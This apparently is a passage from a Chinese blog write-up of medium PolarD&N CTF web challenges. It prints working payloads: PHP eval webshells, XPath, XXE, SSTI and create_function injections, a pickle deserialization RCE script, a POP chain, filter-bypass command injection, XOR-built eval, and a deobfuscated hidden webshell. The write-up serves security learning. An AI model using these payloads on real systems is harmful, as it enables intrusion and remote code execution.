PolarD&N-CTF-web方向-中等_polarctf web 解题

?filename=php://filter/convert.base64-decode/resource=shell.php

content=aPD89QGV2YWwoJF9QT1NUWzFdKTs/Pg==

其中base64加密的内容:<?=@eval($\_POST[1]);?>

然后访问**/shell.php**发现木马被读入,我们用蚁剑连接一下:

在根目录找到了flag。

0x03 注入(中等)

进题点一下User的选项然后抓包,发现了id=1的注入点。但是尝试了好久发现sql注入和ssti注入都是不行的。看了wp才知道是XPATH注入:

尝试一下XPATH注入万能钥匙,payload:

?id=‘]|//*|//*[’

然后就得到了flag。

0x04 某函数的复仇(中等)

由于怎么也想不到是哪个函数,我们直接去看了wp。发现是create_function()这个函数。他会直接执行这个创建的新函数。不过它需要一个闭合和一个注释。所以我们构造payload:

?root=;}system(‘ca\t /f*’);/*

shaw=create_function

?root=;}system(‘ls’);/*

shaw=create_function

然后就得到了flag。

0x05 xxe(中等)

进题只有一个phpinfo的界面,尝试更改c参数但是没用。然后去看了眼wp,发现可以通过phpinfo查看版本,找到是xxe漏洞。用dirsearch扫一下目录,找到了**/dom.php**,进入访问:

然后就找到了报错信息,去找了一下xxe漏洞的攻击方式,然后根据wp构造payload:

<?xml version = "1.0" encoding="utf-8"?>

<!DOCTYPE xxe [
<!ELEMENT name ANY >
 <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
]>
<name>&xxe;</name>

然后就得到了flag。

0x06 SSTI(中等)

简单的ssti,先随便给个{{6*6}}发现回显36,说明是SSTI中的python-flask模块的Jinjia2模板。(或者是php的一个模板)我们尝试直接用Jinjia2模板的payload:

{{a.__init__.__globals__[‘__builtins__’].eval(‘__import__(“os”).popen(“cat /f*”).read()’)}}

然后就得到了flag。

0x07 unpickle(中等)

pickle反序列化,这是源码:

import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        user = pickle.loads(user)
        return user
    except:
        username = "Guest"

    return "Hello %s" % username

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

需要我们在cookies中传入pickle反序列化并获得我们需要的信息。本来这题用了system读取,发现得不出答案。于是去看了wp,发现不用权限,它自己的权限就可以直接open().read()了。然后就直接构造:

import os
import pickle
import base64
import requests

class RCE:
    def __reduce__(self):
        return eval, ("open('/flag','r').read()",)
        # return eval, (f"__import__('pickle').loads({f})",)


a = RCE()
payload = base64.b64encode(pickle.dumps(a))
print(base64.b64decode(payload))
#pickle.loads(base64.b64decode(payload).replace(b'os', b'').replace(b'reduce', b'').replace(b'system', b'').replace(b'env', b'').replace(b'flag', b''))
print(payload)

然后得到的base64直接传参:

然后就得到了flag。

0x08 BlackMagic(中等)

进题可以访问一个子域名,我们直接进去访问。然后在源码中找到了真正的源码,去掉了无关的东西之后,大致是这样的:

<?php
    $strTmp="payload";
	$strCharList = "\r\n\0\x0B ";
	$strFlag = "\r 	xxxxx...xxxxx	 \n";
    $strContent = trim($strFlag, $strCharList);
    if($strTmp == $strContent)
    {
        echo "flag{xxx...xxx}";
    }
?>

代码审计,需要输入一个 s t r T m p ,我们先看看 strTmp,我们先看看 strTmp,我们先看看strContent这个变量在trim之后是什么,其中trim()函数是用来删除指定字串的东西的。我们直接将其输出并且看看urlencode之后的$strContent是什么:

%09xxxxx…xxxxx%09

我们输入payload:

?strTmp=%09xxxxx…xxxxx%09

然后就得到了flag。

0x09 反序列化(中等)

进题给了源码,我们将他整理一下:

<?php
class example
{
    public $handle;
    function __destruct()
    {
        $this->funnnn();
    }

    function funnnn()
    {
        $this->handle->close();
    }
}

class process
{
    public $pid;
    function close()
    {
        eval($this->pid);
    }
}
if (isset($_GET['data'])) {
    $user_data = unserialize($_GET['data']);
}
?>

说明我们要输入一个data,然后pop链如下:

example::destruct()->example::funnnn()->process::close()

那么我们直接开始构造:

然后直接进入题目看看回显。发现ls之后直接回显了flag。

0x0A 找找shell(中等)

代码审计题,附件拿到了一个php的源码,整理一下:

<?php
$O00OO0 = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O = $O00OO0{3} . $O00OO0{6} . $O00OO0{33} . $O00OO0{30};
$O0OO00 = $O00OO0{33} . $O00OO0{10} . $O00OO0{24} . $O00OO0{10} . $O00OO0{24};
$OO0O00 = $O0OO00{0} . $O00OO0{18} . $O00OO0{3} . $O0OO00{0} . $O0OO00{1} . $O00OO0{24};
$OO0000 = $O00OO0{7} . $O00OO0{13};
$O00O0O .= $O00OO0{22} . $O00OO0{36} . $O00OO0{29} . $O00OO0{26} . $O00OO0{30} . $O00OO0{32} . $O00OO0{35} . $O00OO0{26} . $O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
?>

其中的几个变量定义如下,我们将其一个一个输出看看都是什么效果。四个变量从上到下依次是:

$O0OO00 = $O00OO0{33} . $O00OO0{10} . $O00OO0{24} . $O00OO0{10} . $O00OO0{24};

#strtr
$OO0O00 = $O0OO00{0} . $O00OO0{18} . $O00OO0{3} . $O0OO00{0} . $O0OO00{1} . $O00OO0{24};

#substr
$OO0000 = $O00OO0{7} . $O00OO0{13};

#52
$O00O0O .= $O00OO0{22} . $O00OO0{36} . $O00OO0{29} . $O00OO0{26} . $O00OO0{30} . $O00OO0{32} . $O00OO0{35} . $O00OO0{26} . $O00OO0{30};

#base64_decode

我们将最后一个变量带入表达式,然后得到了一串解密后的可执行表达式:

$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));

其中又多了一个变量,以及一个新的eval函数。将eval中的表达式用这个变量代替,然后修改参数,解密后的eval如下:

eval('?>'.base64_decode(strtr(substr($O0O000,104),substr($O0O000,52,52),substr($O0O000,0,52))));

然后我们将其中substr的三个参数输出之后再放入其中,得出了这三条语句:

然后我们用这三条进行strtr的更换操作,得出此base64:

PD9waHAgQGV2YWwoJF9QT1NUWyd1c2FtJ10pOyA/Pg==

用php自带的base64解密,发现是一句话木马:

<?php @eval($\_POST['usam']); ?>

然后去扫描一下原题中的目录,扫到了/shell.php。我们直接拿去蚁剑连接就行了:

在当前目录找到了flag。

0x0B 再来ping一波啊(中等)

进题是一个要ping的文本框:

那么我们尝试了好多payload,手测需要的函数过滤了:ls、cat、tac、空格、index。那么我们用引号绕过或者反斜杠绕过。然后由于当前目录只有index.php,我们尝试读取根目录,发现**“/”**被ban了。那我们先读取index.php吧。用变量拼接绕过,payload:

127.0.0.1;a=inde;b=x.php;ca\t I F S IFS IFSa$b

发现我们读出了源代码:

然后在源码中找到了flag。

0x0C wu(中等)

很正常不过滤什么符号的无数字无字母rce:

<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(preg_match("/[A-Za-z0-9]+/",$a)){
    die("no!");
}
@eval($a);
?>

什么符号都没有过滤,那么我们用异或、取反、自增都是可以的,这里用的是异或:

$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);

然后给_传参命令发现回显了,这时候可以直接伪协议、tac、蚁剑连接读取被执行的flag。我们用tac最方便,然后就得到了flag。

0x0D 代码审计1(中等)

本题考察的是php原生类的寻找和利用,详情可见coleak师傅博客:CTF中常用的php原生类总结_ctf php代码-CSDN博客

<?php

highlight_file(__FILE__);
include('flag.php');
$sys = $_GET['sys'];
if (preg_match("|flag|", $xsx)) {
           die("flag is no here!");
} else {
    $xsx = $_GET['xsx'];
    echo new $sys($xsx);
}

源码中echo new s y s ( sys( sys(xsx)可以看出是原生类的利用。我们发现这题是读取文件,所以用的是类SplFileObject,然后由于第一个if时xsx并没有赋值,所以第一个if是没用的。我们直接payload:

?sys=SplFileObject&xsx=flag.php

然后发现读取不出来。然后去看了wp,发现被执行了,重新payload:

?sys=SplFileObject&xsx=php://filter/read=convert.base64-encode/resource=flag.php

然后拿去base64解密就得到了flag。

0x0E 你的马呢?(中等)

进题先随便上传一张图片,png是可以上传的,然后准备上传木马。

方法1:

发现它上传后缀之后,会说“后缀”恭喜你。那么考虑Apache双后缀绕过检测,payload:

然后进入访问,发现马已经传入了。我们直接进去蚁剑连接就行了。当时打比赛的时候用的是另一种方法。

方法2:

http://40a000ef-42f4-4e3c-ac10-f3f7b36e7089.www.polarctf.com:8090/index.php?file=upload.php

这是比赛url中的文件上传,考虑文件包含。我们尝试一下file=/etc/passwd

发现确实包含了。那么就不用传php文件了,我们直接传jpg或者题目要求的jsp就可以了,然后直接在file里面包含这个文件,木马就可以传入了。然后我们蚁剑连接就行了。flag在根目录。

0x0F ezphp(中等)

进题看到一句提示:

那么应该是存在/robots.txt。果然:

又是文件上传题,先去看看三个子域名的用处。发现/file子域名用来文件包含,/uploads里的upload.php用来上传,images用来储存。那么随便上传一个图片包含一句话木马就可以得到答案了,提示文件上传成功,并在images文件夹中找到了shell.jpg了:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值